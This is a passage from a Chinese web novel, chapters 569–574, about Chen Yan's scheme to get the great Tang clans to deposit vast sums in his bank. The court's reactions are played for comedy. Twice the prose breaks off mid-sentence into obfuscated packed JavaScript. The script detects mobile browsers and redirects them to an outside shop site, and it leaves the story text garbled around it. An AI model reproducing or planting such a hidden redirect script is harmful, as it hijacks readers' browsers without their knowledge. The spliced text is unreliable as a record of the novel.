“大家皆大欢喜,不好吗?” 崔宣嘴唇微动,心底一片苦涩。 皆大欢喜? 真的是这样吗? 是! 现在答应交易,他们不光可以拿到水车的技术,稳固在民间的声望,还能因此受益。 但陈衍不也用他们世家借鸡生蛋,仅仅只是拿出技术,其他都不用操心了。 费时费力的事务全由他们承担。 世家在民间的声望稳固了,那他们自然而然也因为此前种种原因,被稳住了。 先不说李世民不会御驾亲征,即便李世民当真御驾亲征了,他们也大概率不好跳出来搞 事。 因为此前的大规模联姻,让他们跟李世民许多心腹大臣多了层关系。 保障是有了,但牵扯也多了。 崔宣再次在心里感叹。 陈衍......太妖了! 几乎把每一步都算入了其中,从‘大唐民报’开始,他们自始至终便陷入了被动。 “......” 沉默良久,崔宣轻轻点头,“好,我代表五姓七望答应你提出的交易。” “近期,家族的钱财会陆陆续续存入长安新开的钱庄当中。” “扩建图书馆、支持新的赋税政策,我们也会一一履行。” “好。”陈衍脸上笑容更甚,“今日我让人整理好水力纺织机和水车的技术图纸,两日之后你来拿吧。” “不用签订契约吗?”崔宣疑惑道。 陈衍嗤笑一声,“契约?我从来不相信什么契约!” “不说强者,有时候这种东西,连弱者都不放在眼里。” “契约只在大家愿意履行的时候生效,当有一天某一方不愿意履行的时候,它就是一张废纸,不是吗?” 崔宣闻言并未过多言语,随便聊了两句,便告辞离开了。 当踏出渭国公府时,他回头看了一眼,嘴里喃喃自语。 “斩首,收下当狗......” “......” 第569章 惊掉一地下巴的巨额财富 翌日,许怜月坐在陈氏商会顶层,面前的桌子上摆满了各种各样的账本。 这些账本实际上都是一些小问题,大多是收购周围地皮商铺的支出,许怜月不过是扫上一眼。 只要数字不超过她的预期,这些事她大多不会过多关注。 更重要的是,随着陈衍上任户部尚书,有些地皮和商铺简直被人上赶着送过来。 这类琐事并不值得她太过操心。 唯一让许怜月在意的,便是陈衍昨日特地派人来叮嘱,近期多关注一下长安开的钱庄,看看有没有大额存入。 所以许怜月的注意力大多放在了钱庄的账目上。 然而,看完钱庄近期所有账本之后,许怜月有些疑惑。 都很正常啊,现在钱庄的名气并未彻底打响,也没有陈衍在渭南县那么有威望,振臂一呼便有无数百姓将钱存入钱庄。 只能说长安的钱庄还在稳步发展,存取账目都很平稳。 “砰砰!” 就在许怜月沉思的时候,外面传来了急促的拍门声。 “许管事,您快出来看看吧,商会的钱庄外面来了好多人和马车,都说要存钱。” “但他们说出来的数目太大了,奴婢们不敢擅自做决定!” 许怜月一惊,忙起身打开门,沉声询问:“存钱的数额很庞大吗?具体是多少?一百万贯?” 婢女苦笑,“许管事,比一百万贯要多太多了,好像来的是世家的人,开口便要存几千万贯,奴婢们实在是不敢擅自做决定。” “夺少?” 饶是许怜月每天经手商会巨额财富的往来调度,在听到这个数字时,仍然不可避免地惊呼:“几千万贯?” “是的......” 婢女连忙点头应是。 许怜月深呼吸一口气,心里震撼不已。 几千万贯是什么概念? 从前她跟着陈衍他们在渭南县时,偶尔从陈衍他们口中听到过大唐一年的税收。 哪怕把所有粮食、绢帛等物品折合现钱,再加上国库现银,总额也不过一千万出头。 现在来一些人就要存几千万贯? 还不止一家? “你......你赶紧派人去渭国公府禀报,再派人去东宫禀报一声,此事不是我们能处理的,让真正的大人物出面吧。” “哎哎,好,奴婢这就去。” 这婢女并非普通下人,从 前本是东宫的宫女。 毕竟钱庄还挂着太子的名头,太子自然要出力。 特别是长安的钱庄,很多人手都是从东宫调派的。 许怜月压下心里复杂的情绪,整理了衣裳,赶紧先一步前往了钱庄。 此时,钱庄不仅里面围满了人,外面更是被围得水泄不通,整条街道都被马车和人挤满了。 马车自然是用来装钱的,而人则是来看热闹的。 许怜月在护卫的护送下,好不容易挤了进去,便见到了曾经有过一面之缘的崔宣。 “崔公子......您这是......” 许怜月不清楚发生了什么,礼貌地询问了一句。 “原来是许姑娘啊。”崔宣客气地起身拱手,“在下是来完成与渭国公的交易,存钱来了。” “不仅我们崔家,其余四家人都派人来了。” “劳烦许姑娘帮忙处理一下吧。” 许怜月心中了然。 如果是陈衍的手笔,那么便不奇怪了。 那个男人无论做出什么事都很正常! 她脸上浮现出得体的笑容,“崔公子说笑了,如此巨大的数额,我一介女流之辈,哪里有处理的资格?” “还请崔公子与诸位上楼喝杯茶,我已经派人去请渭国公与太子殿下,相信他们要不了多久就来了。” 此话一出口,其余四家派来的代表脸色好看了许多。 本来把钱存到别人的产业里,已经让他们心里很不舒服了,倘若你再派一介女流之辈来接待处理,连面都没露,属实有些看不起人了。 不过若是已经派人去请,而且请的是当前户部尚书和为钱庄背书的太子,那等等也无妨。 “如此也好,那便听许姑娘安排吧。” 崔宣倒是并未小看许怜月,因为他跟这个女子接触过,知晓对方在买卖上能力出众。 他从来不会小看任何人,即便这个人是个女子。 故此未曾流露出不满。 就在许怜月带着世家众人上楼等待的时候,外面围着看热闹的百姓一个个啧啧称奇。 “你们方才听到了吗?那群人一进去便说要存几千万贯.......几千万贯啊,那得多少钱?咱一辈子花得完吗?” “一辈子?你可拉倒吧,几千万贯钱,光铜钱堆起来都能把你压死,十辈子挥霍都花不完。” “哎,你们说,这钱庄到底什么来历,从前 我好像在哪听说过这个东西,但就是没什么了解。” “这你们就不知道了吧?”在众人交谈的时候,一名来自渭南县的百姓昂首挺胸道:“那可是当今渭国公与太子殿下开的钱庄,存钱还给利息嘞。” “你别惊讶人家存的多,人家能得到的好处也多啊,就好比你在钱庄存一百贯钱,一年下来能得到五贯钱利息。” “你们仔细算算,人家存一千万贯,一年下来光是利息就多少钱了吧。” 别说,还真有人掰着手指头算了。 算出结果之后,倒吸一口凉气,“就算他们存一千万贯,一年的利息岂不就是五十万贯?” “什么都不干就有五十万贯?” “对,正是这么个理。”从渭南县来的百姓周大山笃定地点头道。 有人怀疑道:“那会不会不靠谱啊,这钱庄真给那么多利息吗?” 周大山听完鄙夷道:“你先前是没听到我的话吗?钱庄是当今渭国公和太子殿下开的。” “你没看报纸吗?渭国公不仅是陛下的女婿,如今更是贵为户部尚书,太子殿下是什么身份,还需要我多说吗?” “人家几千万贯都敢存进去,若是不靠谱,你当人家傻不成?” “也是哈......” 周大山的话音落下,周围的百姓纷纷点头。 能拿得出几千万贯的人,总不可能是傻子吧? 他们既然敢存,那就说明这钱庄确实是靠谱的。 “......” 第570章 又坑人家? 良久,在一片讨论声中,陈衍和李承乾同时赶了过来。 只是,与陈衍不同的是,李承乾还带了不少披甲持刀的禁卫过来。 两人同时站在了钱庄门口,李承乾回头望了一圈,啧啧称奇:“子安兄,还是你有办法啊,真让世家把这部分钱财挖出来了。” 几千万贯,听起来很多。 但如果只是两三千万贯的话,对世家来说其实根本不多。 因为李承乾他们本身就属于世家一脉,自然是清楚世家到底积攒下了多少财富。 倘若是大几千万贯,世家一下子拿出那么多现钱估计确实有点困难,还得用产业什么的置换一下才可以。 但只是小几千万,其实并不算困难。 然而这个数字,却是大唐一整年收入的好几倍了。 陈衍不置可否,“先进去看看吧,今天看看世家的诚意。” “好。” 李承乾自无不可,今天他来,就是出个面,其他都没打算插手。 上到钱庄二层,陈衍见到了崔宣以及另外几家派来的人。 双方一见面,崔宣那边全部起身行礼,“拜见太子殿下,见过渭国公大人。” “诸位无需多礼,都是年轻人,私底下随意一些无妨。”李承乾摆摆手,示意大家坐下。 许怜月走过来,用眼神示意了一下陈衍。 陈衍微微颔首,“既然崔兄他们已经把钱带过来了,你就下去帮崔兄他们办理存款,开具证明吧。” “其他的,一切交给外面的禁卫便好。” “好!”许怜月点点头。 “既然如此,诸位也下去同许姑娘存钱吧,我跟渭国公和太子殿下聊聊。”崔宣沉吟了一下,对身旁的人说。 他们倒也没什么意见,毕竟崔宣才是主要的代表。 随着陈衍两人到来,二楼又变得空旷了起来,在场只剩下陈衍、李承乾以及崔宣三人。 “崔公子,不知你们今天,各家共同存入了多少?”陈衍一边给两人倒茶,一边询问道。 崔宣笑道:“这只是第一批,因为钱财大范围调动很耗费时间,有些需要从族地调过来。” “数额的话......崔家是存了两千八百万贯,其他四家大差不差,都在两千五百万贯左右。” 饶是有了心理准备,在听到这个数字时,李承乾的手仍然不可避免地抖动了一下。 你奶奶的! 光是第一批就已经到万万贯了,第二批岂不是更多? 想想从前,戴胄因为五十万贯,当着满朝文武的面与工部尚书毫无形象地对喷,开口即是问候人家老娘。 早些时候,李世民给长孙皇后办个寿宴都抠抠搜搜的,揪光了头发想着怎么省钱。 而现在,人家存个钱,动不动就几千万贯。 李承乾在心里感慨。 真是旱的旱死,涝的涝死啊。 陈衍有些诧异,“还有第二批?我原以为你们存个一千万贯左右就差不多了呢。” 崔宣顿了顿,摇头,“既然已经谈妥,我们便不会在这上面耍小聪明,定然履行约定。” “只希望渭国公也能说到做到才是。” “放宽心。”陈衍抬手虚按,“我既然敢开这个钱庄,那么不管是谁,就都得守这个规矩,即便是皇室和朝廷也不能例外。” “陛下想要打仗,户部一下子确实拿不出那么多钱财和物资,我已经打算用户部的名义跟钱庄借贷了。” 崔宣:??? 陈衍这句话,属实让崔宣惊了一下。 身为户部尚书,却用户部的名义跟自己的产业借贷? 能想清楚里面弯弯道道的,知晓陈衍这是有原则,遵守规矩,不清楚的,怕是还以为陈衍在利用职务之便贪污呢。 “渭国公......做事依然这样让人看不懂啊。”崔宣再次感叹。 无论多少次,崔宣每次跟陈衍接触,都会刷新他的认知。 同时,崔宣也在心里把钱庄的重要性再度拉高一个层次。 陈衍的话很简单,却透露出了不少东西。 这座钱庄,要让朝廷和皇室都遵守规矩,他们的钱想必是出不了问题的。 只是这钱庄今后恐怕不仅仅只是一座钱庄了。 或许有一天,它能成为大唐相当重要的经济命脉。 “好了崔兄,我还有公务要忙,才从户部赶过来呢,现在得回去了。” 三人聊了好一会儿,陈衍起身开口,“有什么问题的话,明天再说吧,你明天来一趟我家里,我把图纸那些东西给你。” “对了,让你们的人撤出渭南县吧,今后水车和水力纺织机便交给你们了。” “至于钱庄,以后直接派人跟许怜月接触便好,一切按照钱庄的规矩来,利息照付给你们。” 崔宣点点头,“没问题,渭国公和太子殿下请便,待 处理完这边的事,我也要回去了。” “好,再见。” 陈衍打了声招呼,跟李承乾离开了。 出来之后,李承乾惊讶道:“子安兄,你把水力纺织机的技术教给世家了?” “对。”陈衍笑了笑,坦然承认。 “不是。” 李承乾有些急了,“这种东西,你怎么能交给世家呢?” “绢帛那可是一只可以源源不断下金蛋的母鸡,给再多的钱财都不换啊,更何况只是让世家把钱存入钱庄。” “你看,又急!” 陈衍给了他一个意味深长的眼神,走出钱庄,踏上了马车。 李承乾仍然追了上来,“子安兄,这件事我真的劝你要三思而行,水力纺织机真的不能给出.......” 他的话未说完,便被陈衍抬手打断了。 紧接着,陈衍对外面驾车的小顺子道:“小顺子,回头把科研院最新的成果带到渭南县去吧,让咱们的机器更新换代一下。” “好嘞,少爷。” 李承乾:??? “等等,等等!” 他一时间有些摸不着头脑,思忖了好半晌,才迟疑着问:“你的科研院......又做出了更好的机器?” “不止。” 陈衍淡淡道:“不仅优化了水力纺织机,还做出了自动缫丝机、水力砑光机,不仅效率大大提高,成本减少了,而且做出的绢帛质量更好。” 李承乾:“......” 他扯了扯嘴角,再次开始替世家默哀。 “......” 第571章 陈衍:放着那么多钱只为了好看? 科举之前,长安城最震撼人心的事,就这么悄无声息,平平淡淡地发生了。 五姓七望将超过一亿贯铜钱,在一天之内同时存入了钱庄,此事如瘟疫般迅速在长安中扩散开。 听闻此消息者,无不震惊,乃至难以置信。 超过一亿贯啊! 其数额已经远远超出了所有人的想象力。 毕竟大唐的税收目前还在一千多万贯浮动。 你一存就存了一亿贯? 而后,钱庄外面挤满了不断涌来看热闹的百姓,以及诸多勋贵官员派出打探消息的人。 但此时的钱庄已经被东宫禁卫层层守护,旁人只能伸着脖子张望,看到一马车一马车的铜钱被送进钱庄清点。 证明此事的真实性后,百姓只是看个热闹,而长安所有勋贵全部沉默了。 从某种程度上来说,这则消息甚至比科举带来的风暴还要大。 蔡国公府内,连听说了此事的杜如晦都半晌说不出一句话。 杜构啧啧道:“我隐约记得,贞观四年的时候,子安兄说过要让世家把埋在土里的那部分钱财挖出来,如此一来才能为经济流通打下坚实的基础。” “因为世家传承了太久,掌握着旁人难以想象的财富,倘若不拿到这部分钱,大唐现有的财富无法支持大规模的流通。” “如今超过万万贯钱币在手,想必子安兄这几年的动作定然小不到哪里去。” 杜如晦默默听完儿子一番话,点点头,忽然间想起当初陈衍上任户部尚书那天,要支持李世民打仗说的话。 即便户部没有,想办法也会有。 难不成指的就是钱庄? 或者说从钱庄借贷? 杜如晦脑子飞速运转,很快便想清楚了里面特殊的用意,哑然失笑: “无论多少次,为父都想说一句,渭国公......太妖了!” “从今往后,户部大概率是不会缺钱了,朝廷大概率也不会缺钱了。” “儿啊,你要忙起来了,同时更得认真些,因为你方才自己都说了,接下来陈子安的动作不会小。” 他感叹道:“钱庄!钱庄!” “如今的钱庄才是那个掌握了天下最多财富的地方,而且还全部都是现钱。” “他所能调动的财富,已经远远超过了国库......这是好事,也是坏事,就看他怎么用这部分钱了。” “用得好,天下财 富就能流通起来,大家的生活会渐渐好起来,用得不好,则有可能引发货币过于集中,通货紧缩的风险。” 对此,杜构持有不同意见,“父亲,我认为您是多虑了,倘若您真的了解过钱庄,就应该明白,钱庄是一直在放贷出去的。” “往日钱庄财富并未达到一定规模的时候,钱庄就在选定放贷的目标,只借款给那些进行长途交易,而缺少资金的人。” “曾经,我听子安兄提过一嘴,他说借给商人固然风险极低,利润较高,但如果有足够的资金,其实放贷给什么......新兴手工业者、矿业、盐、茶、酒、造船等行业才是最好的。” “当然,这里指的是数额较大的放贷,普通百姓的话,会更侧重农业方面的放贷。” “如果有百姓想做买卖,且想法不错,通过钱庄的评估,钱庄一样会进行放贷。” 杜构最后说:“简而言之,子安兄一直都是有方向地前进,早已做好了长远的规划。” “......” 听完儿子的话,杜如晦半晌无言。 过了许久,他才缓缓开口,“为父老啦,今后是你们这群年轻人搅动风云了。” “万万贯钱......呵呵,为父活了这么多年,都没见过那么多钱。” 杜构笑道:“父亲,先不谈这个,您说,世家此举,是不是在某种程度上......认输了?” 杜如晦语塞。 思忖了好一会儿,再次沉默。 “......” 户部衙署内,韩仲良与马周一脸敬佩地看向那个坐在摇椅上,捧着一本《春秋》的陈衍。 “大人,我等现在要做些什么?” 韩仲良此时是真服了。 人家不光能力强,背景硬,手段同样一点不差啊。 连世家都被逼到了如此境地,不得不将那么多钱财存入钱庄。 连他这个户部侍郎在听到这个消息的时候,都被震得头脑发昏。 陈衍淡淡道:“该做什么做什么,平日里的公务,难不成还需要我来教你们吗?” 两人面面相觑,最终,马周上前一步拱手,“可是大人,咱们户部目前缺钱啊。” “出兵之事已成定局......咱们是不是该做些准备了?” “如今户部账目上所剩下的粮草、钱币并不足以支持陛下出兵。” “那就去钱庄借。”陈衍翻开一页书,头也不 抬道:“钱庄不是可以借贷吗?用户部的秋收做抵押,去钱庄借贷便好了。” “对了,尽量争取更低的利息,否则的话来年还款的时候压力很大,最好是分期还款,借个三年吧。” 啊? 韩仲良和马周懵了一下。 只是马周很快反应了过来,双手作揖,“下官明白了,明日下官就去跟钱庄借贷,只是我们到底要借贷多少呢?” “这个具体数额还请大人亲自定夺。” 听闻此话,陈衍合上书籍,沉吟道:“钱财不需要太多,两百万贯足矣,最重要的是粮草等物资,可以多借贷一些。” “这两百万贯,其中一百万贯用来给陛下打仗,剩下的留在户部,用作今年的支出备用。” “下官明白了。”马周点点头,旋即又想到一件事,“大人......钱庄好像并没有那么多物资啊,他们收取的不是现钱吗?” “没有?” 陈衍嗤笑道:“没有你就不会让他们想办法吗?开那么大个钱庄,连大家的需求都解决不了,放着那么多钱只为了好看?” 马周:“......” 韩仲良:“......” 如果俺们没记错的话,那钱庄......好像是你跟太子殿下开起来的吧? 那不就是你自家的产业吗? 你对自己的产业恶意也这么大吗? 更何况,咱们是去借贷的,咋还搞得我们跟大爷一样呢? “......” 第572章 读《春秋》的就没一个好人! “马侍郎......你说大人这是什么意思?” 走出来之后,韩仲良颇为不理解,“那钱庄分明是大人自家和皇室的产业,咱们户部拿这个钱,也是为了朝堂与天下,需要借就算了,为何还得给利息呢?” “更别说用秋收作抵押了......是不是有些不太合适?” “没什么不合适的。”马周摇摇头,“世间之事,无规矩不成方圆,户部是户部,钱庄是钱庄。” “大人谁也没偏袒谁,一切按照规矩办事,这才是最好的。” “否则,今后户部一缺钱了就找钱庄借,借完了只还本金,钱庄还怎么开下去?” “人家开的是钱庄,又不是善堂,能给我们行个便利,做低利息,就已经很好啦。” “凡事不能只看当下,得考虑长远嘛。” 听完马周一席话,韩仲良愣了片刻,才逐渐意识到里面的深意。 “嘶!” “马侍郎,韩某受教了。” “好啦。”马周微微一笑,“今日咱们先回去具体统计一下到底需要多少粮草等物资,待明日咱们亲自上钱庄走一遭。” “好,就......陛......陛下?” 韩仲良正准备应下来,忽然看到李世民带着无舌走进来,说话都卡顿了。 “微臣,参见陛下。” 马周还好些,反应过来之后,急忙行礼。 “起来吧,朕找子安,他在哪呢?” “回陛下,尚书大人目前在尚书厅。” “嗯好,你们先忙吧。” 李世民随口说了一句,然后就不管马周和韩仲良两人,径直前往尚书厅。 待他离开,韩仲良疑惑道:“马侍郎,你说陛下今日前来,是不是也因为世家把钱存入钱庄的事?” “绝对是的。” 马周肯定道:“如若不然,陛下不会轻易来户部,更别说指名道姓找尚书大人了。” “如果不是很急,大概率直接召尚书大人入甘露殿的,如今亲自前来......怕是同样被惊动了。” 两人说话很小声,只敢细细交谈。 而后便不敢再说了,心里默默祈祷尚书大人吊儿郎当的样子莫要被陛下看到...... “......” “子......” 径直推开尚书厅的门走进去,李世民本想叫一句,却看到陈衍躺在摇椅上, 翘着二郎腿,捧着一本书看得津津有味。 顿时气不打一处来,“陈衍!你看看外面都变成什么样了?你还有闲心坐在这里看书?” “呃......原来是陛下,哈哈,臣参见陛下。” 陈衍一惊,抬起头来,看见来人,顿时露出一个笑容,殷勤地拉着李世民过来坐下。 “陛下,外面变成什么样,跟我有什么关系?我除了在户部处理些公务,也没什么事干呀。” “跟你没关系?”李世民幽幽道:“跟你没关系,那是跟朕有关系吗?” “世家的钱,存入了朕的内帑?” “害,您说这个呀。”陈衍以为什么事呢,原来还是因为存钱,当即放心下来,无所谓道: “不就存个钱吗?外面能变成什么样子?” “等过两天风头过去了,此事也就平息了,陛下不用放在心上。” 李世民:“是吗?可朕怎么听说,你已经派人去让戴胄在最新版的‘大唐民报’上帮你宣传一下了?” “一家两千五百万贯,总计超过万万贯,你小子现在才是大唐第一狗大户啊,难怪人家成婚,你送个礼金都一万贯。” “最近朕又穷了,要不你借点钱给朕花花?” 陈衍:“......” “您这话说得,我有多少钱,您难道还不清楚吗?” “再说了,已经到了贞观六年,科举将开,无旌骑那边马上要前往倭国代替玄甲军,开采倭国的银矿,这里里外外的,哪样不需要花钱?” “至于那一万贯......说实话我后来就后悔了,丽质还说我花钱大手大脚,再大的基业也经不起我折腾呢。” “我没钱呀。” 李世民扯了扯嘴角,对陈衍的说法不置可否。 这小子有没有钱,他还能不知道吗? 就跟陈衍知道自己有多少钱一样,大家心里都门清。 毕竟所有产业经常在一起分账呢。 “好了,朕不想和你扯这些。”李世民沉声道:“朕知道你小子把世家坑了一把大的,但你别太得意,绢帛的价格先维持住,产量多出来的那一部分,存入钱庄吧。” “别让世家的人那么快发现自己被坑了,稳住他们一段时间。” “趁着这段时间,你手里握着那么多钱,该扩建图书馆就扩建图书馆,该扩建钱庄就扩建钱庄。” “还有,目前钱庄的现钱太多了,你找个 地方存放起来,让东宫派兵守着吧,朕会吩咐下去的,千万别出什么问题了。” “放心,陛下,我都明白的。”陈衍乐呵呵道:“我跟太子殿下过去的时候,就带上了禁卫,不过钱财数额太过巨大,想必现在还在清点当中,没那么快的。” “而且,这还是世家存入的第一批钱财呢,明日等他们过来拿水力纺织机技术的时候,我打算跟他们谈谈,让他们存一个定期。” “比如两年、三年不能取出来,但是利息会更高一点,然后第二批钱财才是活期,可以让他们随时取用。” “如此一来,第一批的万万贯钱财,在这个期限里面就可以任我们调用了。” “等过了这个期限,钱庄早已发展了起来,届时我们更不会缺少可以调动的资金了。” 听闻此话,李世民愣了一下,随即默然。 真他娘的黑啊。 把世家人算计得死死的。 “行吧,你有安排就好,朕还有事,先走了。” “等等陛下。” 在李世民要离开的时候,陈衍急忙叫住了他:“上次,我跟陛下您说的事,您考虑得怎么样?” “要不要把内帑的钱也存入钱庄?” 李世民:??? 彼其娘之。 你没开玩笑啊? 真惦记上朕的钱了? “滚,给朕滚!”李世民没好气地呛了一句。 正要抬脚离开,似是想起了什么,扭头问:“你看的什么书?” “......《春秋》啊!” “彼其娘之,读《春秋》的就没一个好人!” 陈衍:“......” “......” 第573章 兕子:你为何只逮着他一个人坑呢? “给,这就是水力纺织机的制作图纸,还有水车的制作图纸。上面不仅标注了各个零件的具体大小、所用材料,连作用也都写得清清楚楚。” 渭国公府会客厅内,陈衍把一沓让陶师傅整理出来的图纸,全部交给了崔宣。 “多谢渭国公大人。” 崔宣郑重道谢。 对于他们来说,绢帛向来是不可或缺的,是天下最重要的物资之一。 只要有了这份技术,那么无论花出去多少钱,都是可以再挣回来的。 而且还能成为他们的根基之一。 至于水车 对他们来说也挺重要的,但跟绢帛比起来就差得太多了。 陈衍笑眯眯道:“不用着急感谢我,其实我还有一个请求,你可以考虑一下。” 崔宣脸一黑,总感觉陈衍这个请求不是那么简单。 只是如今水力纺织机的技术已经拿到了手中,他想想觉得陈衍应该不会狮子大开口。 犹豫了一下,道:“既然是请求,渭国公大人尽管说便是,如果我不能做决定的话,可以回去问问长辈们。” “是这样的。”陈衍脸不红心不跳地说:“按照约定,你们不是还得将第二批钱财存入钱庄吗?” “虽然我不知道具体数额,但料想应该不会少到哪里去。” “我是这样想的,既然你们有如此之多的流动资金,不如把第一批钱财与钱庄签订一个定期存款。” “定期.” 崔宣额头浮现两条黑线,仅从这两个字里,他就已经联想到了很多。 不待他拒绝,陈衍继续道:“我也不让你们吃亏,如果你们存三年定期,第一批的钱你们在三年之内不能取出去,但是利息我会额外多给你们一些。” “然后你们第二批存入的钱财,可以随时从钱庄调用,利息同样照付,如何?” 崔宣想了想,此事倒不是不能接受。 毕竟他们当初打算跟陈衍交易的时候,甚至已经做好了最坏的打算。 哪怕陈衍只给他们取回一半的钱他们也不亏。 如今不过是将第一批钱存在钱庄三年不能动用但是还有第二批钱财可以随时调用啊。 更何况他们存入的都是现钱家里很多固定资产依旧在源源不断带给他们收益存三年并不会对他们有什么影响。 “呵呵.”崔宣思忖片刻笑道:“渭国公真是打得一手好算盘即便只是第一批钱数额已经极其庞大了。” “存入钱庄三年不能取用我们确实得到了更多的利息但你却可以在三年内随时调用这笔钱。” “等过了三年想必钱庄早已开遍了全大唐汇聚了天下大半钱财届时估计也不会缺少这些钱了.” 陈衍淡淡一笑并不意外崔宣能想到这一点直言道:“所以这对我们来说是互利互惠的并不冲突不是吗?” 崔宣点点头没有第一时间答应而是反问了陈衍一个问题“渭国公大人在下能问问你这么爽快地把水力纺织机的技术图纸交给我就不怕我们反悔不存入第二笔钱吗?” “你们敢吗?” 陈衍也抛出一个问题把崔宣噎住了。 敢吗? 确实不敢。 现在的局势 甚至已经在求退路了。 何必因为一个存钱的问题将陈衍给得罪死? 当初他们存钱的时候之所以要闹得大家都知道当着那么多百姓的面去存钱就是担心陈衍出尔反尔。 如果他们打算毁约压根不会在意这个。 现如今全长安都知道他们世家在钱庄存入了超过万万贯钱倘若陈衍想动什么手脚在他们要取用的时候不给那么他们就是站在大义的一方了。 “崔公子啊。”陈衍道:“其实你我都清楚在当前局势下任何一方毁约只会两败俱伤关键是我可以伤得起背靠着的大树太多还有皇室这棵参天巨树。” “我肯定是倒不下的大不了带着妻女回娘家住着你们却不一样你们伤 不起了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095072|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不是吗? 本来是很沉重的话,但由陈衍说出来,崔宣不知为何,就挺想笑的。 大不了带着妻女回娘家住 你别说,陈衍还真就这么干过。 当初他一夜之间把对韦家的谣言散布至全长安,然后立刻动身带着妻女跑到皇宫躲着。 把韦家逼得一点办法没有,只能断臂求生。 你瞧瞧,这是人能干出来的事? 崔宣沉吟道:“第一批钱财.存入钱庄三年不成问题,甚至多余的利息我们都可以不要。 “只是,渭国公千万莫要打第二批钱的主意了,那是我们不能动的财产,很多时候都需要用到。 他这话说得很直接,就是在说我可以答应你的条件,但你也别打第二批钱的主意。 陈衍咧嘴笑道:“放心吧,崔兄,我这个人一向很有原则,说好是怎样就是怎样。 “你们第二批存多少,我不管,第一批就在钱庄存个三年定期。 “好吧。崔宣点点头,这件事他还是能决定的。 两人客套了几句,随后陈衍亲自陪着崔宣前往钱庄,让许怜月重新写下了定期存款的契约。 崔宣对此没说什么,找了个借口告辞了。 陈衍心里一块大石落地,心情好了不少,一路乐呵呵地返回家中,打算给自己放一天假。 只是,刚到家里,坐下没多久,小兕子突然冒出头来,“阿兄,那个崔公子又要被你坑啦。 “你为何只逮着他一个人坑呢? 陈衍心情好,没跟她一般见识,随口道:“谁让人家是大户呢? “你看看你阿兄,这两年辛辛苦苦地赚钱,看似买卖遍布全大唐,可赚取的钱财也不过区区一千多贯。 “然而世家的人随随便便就拿出了万万贯,这样的狗大户,不坑他们坑谁? 兕子乐了,“那他们还是好人嘞,老是上赶着给你送钱。 “谁说不是呢?世家,真乃十足的大好人啊! “. 第574章 李义府到访 “行啦,你自个玩去,别吵你阿兄。” 李丽质走过来,在兕子的脑袋上轻轻敲了一下,在后者不满的表情中,缓缓来到陈衍身边,轻声问道: “夫君,你今日不回户部了吗?” “不回了。”陈衍大手一挥,“这两天干了件大事,我要给自己放个假,好好休息休息,户部的事情让旁人去操心吧。” 李丽质犹豫了一下,劝道:“可你现在是户部尚书,不去真的好吗?” “有什么不好的?”陈衍撇撇嘴,“我也没想当什么户部尚书,我就觉得当个小县令挺好的。” “再说了,户部尚书不是人呐?户部尚书就不用休息吗?” “我昨天还挨了你父皇的骂呢,说什么读《春秋》的没一个好人,读《春秋》的得罪他啦?” “而且我看外面的传言还没平息,等明日‘大唐民报’将此事宣传出去,估计引起的议论更多。” “让你父皇头疼解决去,我反正是不去了。” 李丽质疑惑道:“今日常朝的时候,没人提起此事吗?” “那可是万万贯,史官都绝对要记录的事情,难道没人提吗?” “说来奇怪.”陈衍摸着下巴道:“今日的常朝很平常,没什么大事,唯一值得注意的,便是王珪说‘文明殿’过两日便能完工。” “其他都是些琐事,说完就下朝了。” “.算了,不管他们了。”陈衍舒展了下身子,翘着腿,“你阿娘的寿辰宴快到了,你记得准备一份贺礼,等过完你母后的寿宴,就是科.” “少爷!” 陈衍话还没说完,青儿在外敲了敲门,喊了一声,打断了他的话。 “进来吧。” 青儿推门进来,说道:“少爷,李义府他们来了,希望见你一面。” “李义府?”陈衍一怔,“他来干什么?” “青儿不知道,但除了李义府之外,还有戴至德、张文瓘都来啦,目前就在会客厅呢。” 陈衍闻言有些摸不着头脑 。 这三人怎么同时跑过来了? 渭南县不管啦? “夫君,你要去见见吗?”李丽质道:“如果你不想见,我可以去帮你应付一下,就说你现在不在家,在户部处理公务。” “不用,这三个人一般不会找我,来找我定然是有什么事,我去看看。” 陈衍摆摆手,起身带着青儿前往会客厅。 此时,李义府三人都有些忐忑。 因为今时不同往日,如今的陈衍已经不是渭南县的小县令了,而是当朝户部尚书,不说权倾朝野,那也差不了多少。 不知道陈衍对他们还是什么看法,还看得上他们几个小虾米吗? 不多时,陈衍带着青儿出现了,李义府三人赶紧起身,却被陈衍一把拉住。 “行啦,跟我还客气那么多作甚?” “随便坐吧,自己倒茶就行。” 说着,他毫不客气地一屁股坐在首位,自顾自地斟茶。 尽管他表现得相当随意,似乎并未把三人当客人,然而正是因为如此,李义府他们心里的紧张感却凭空消散了许多。 “渭国公大人,多日不见,您依旧这般风采耀人啊。”李义府笑着恭维了一句。 陈衍斜睨道:“行啦,咱们之间,谁不知道谁啊,你一露出这笑眯眯的样子,我就知道你今天来肯定没憋好屁。” “别跟我扯了,有什么事说吧,你们知道的,我喜欢直接点。” 李义府笑容一僵,讪讪道:“果然瞒不过大人下官今日前来,确实有事相求.” 说着说着,他忽然停顿住了,一副欲言又止的模样。 戴至德看不下去了,白了李义府一眼,“渭国公大人,是这样的,下官听说您打算扩建图书馆了.请问是在长安城吗?” 他的话一出口,陈衍愣了一下,转念一想,便明白了今日这三人为何登门了。 “你们担心我扩建图书馆之后,影响到渭南县的发展?” “确实如此。”戴至德坦然道。 谁都清楚,渭南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095073|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 